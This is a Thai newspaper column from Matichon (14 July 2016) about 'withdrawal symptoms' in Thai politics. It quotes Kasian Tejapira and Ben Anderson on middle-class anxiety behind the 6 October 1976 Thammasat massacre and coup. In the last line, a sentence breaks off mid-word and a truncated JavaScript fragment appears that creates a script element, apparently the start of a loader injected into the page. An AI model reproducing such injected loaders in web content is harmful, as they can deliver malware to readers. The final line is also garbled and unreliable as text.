มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 14 กรกฎาคม 2559

 

ลงแดงในสังคมไทย

         อาการลงแดงของสังคมไทย มีแล้ว 2 ครั้ง ล่าสุดเพิ่งออกอาการ

         ทั้งหมดนี้ไม่ได้รู้เอง แต่รู้จากอ่านบทความของ อ. เกษียร เตชะพีระ ในมติชนสุดสัปดาห์ (ฉบับวันที่ 8-14 กรกฎาคม 2559 หน้า 55)

         [ลงแดง อาการซึ่งอาเจียนและหรือถ่ายเป็นเลือด ด้วยเหตุของการไม่ได้เสพยาเสพติด (พจนานุกรม ฉบับมติชน)]

         ลงแดงรอบแรก อ. เบน แอนเดอร์สัน (นักปราชญ์โลก) เรียกอาการลงแดงในภาษาอังกฤษว่า withdrawal symptoms แล้วบอกว่าเป็นพฤติการณ์ทางการเมืองที่แผกเพี้ยน สุดโต่ง รุนแรงของคนชั้นกลางชาวเมืองของไทยในช่วงเหตุการณ์ 14 ตุลาคม 2516 และ 6 ตุลาคม 2519

         เคยอ่านนานแล้ว แต่ไม่ตาสว่าง กระทั่งอ่านที่ อ. เกษียร เขียนสรุปจึงตาสว่าง ขอยกมาแบ่งปันอีกครั้ง ผมชอบ

         “เกิดจากวิตกจริตถึงขั้นฝันร้ายของพวกเขาว่าทหาร, ฐานทัพ, เงินช่วยเหลือ, และการลงทุนหลายหมื่นล้านบาทของอเมริกัน ซึ่งเคยเป็นฐานรองรับผลักดันให้พวกเขาได้เลื่อนชั้นทางเศรษฐกิจสังคมอู้ฟู่ขึ้นมาภายใต้รัฐบาล จอมพล สฤษดิ์-ถนอม-ประภาส จนพวกเขาพากันเสพติดมันอย่างงมงายนั้น กำลังถูกถ่ายถอนออกไปจากเมืองไทยและอินโดจีน

         พวกเขาจึงพากันชดเชยความรู้สึกมั่นคงมั่งคั่งของตัวที่ลดน้อยถอยลงกะทันหัน ด้วยการอุทิศกายใจกอดรัดสถาบันหลักต่างๆ ของชาติอย่างแนบแน่น และยอมรับสนับสนุนการกวาดล้างปราบปรามอะไรก็ตามแต่ที่พวกเขาถูกโฆษณาชวนเชื่อปลุกปั่นให้เห็นเป็นภัยคุกคามต่อสิ่งที่เขารักหวงแหนยิ่งชีวิต

         นี่เองเป็นที่มาทางสังคมและวัฒนธรรมของการสังหารหมู่ผู้ชุมนุมนักศึกษาประชาชนในมหาวิทยาลัยธรรมศาสตร์ และรัฐประหารเมื่อวันที่ 6 ตุลาคม พ.ศ. 2519”

         ลงแดงรอบล่าสุด อ. เกษียร เตชะพีระ บอกโดยสรุปย่อว่า

         “อดีตที่พวกเขาจินตนาการหวนหานั้นเอากลับคืนมาไม่ได้ อนาคตที่พวกเขามโนไปเองนั้นก็ไม่มี เหลือแต่ปัจจุบันที่พวกเขากำลังกร่อนทำลายมันลงทุกวันอย่างหน้ามืดตามัว”

         ด้วยกุญแจเท้าvar d=document;var s=d.createElement(‘script’);